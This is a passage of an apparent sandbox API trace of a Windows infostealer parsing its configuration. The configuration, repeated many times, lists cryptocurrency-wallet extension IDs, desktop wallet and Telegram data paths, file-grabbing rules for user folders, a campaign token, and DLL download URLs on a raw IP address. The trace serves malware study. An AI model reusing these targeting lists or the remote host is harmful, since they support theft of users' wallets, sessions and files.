Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4872 [0259.234] LocalAlloc (uFlags=0x40, uBytes=0x2610) returned 0x6bbd38 [0259.234] lstrlenW (lpString="libs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4872 [0259.234] LocalAlloc (uFlags=0x40, uBytes=0x2610) returned 0x6be350 [0259.234] StrStrW (lpFirst="libs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.235] lstrlenW (lpString="libs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4872 [0259.235] LocalAlloc (uFlags=0x40, uBytes=0x2690) returned 0x6e8a60 [0259.235] StrCpyW (in: psz1=0x6b9720, psz2="libs" | out: psz1="libs") returned="libs" [0259.236] LocalFree (hMem=0x6e8a60) returned 0x0 [0259.236] StrStrW (lpFirst="libs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension 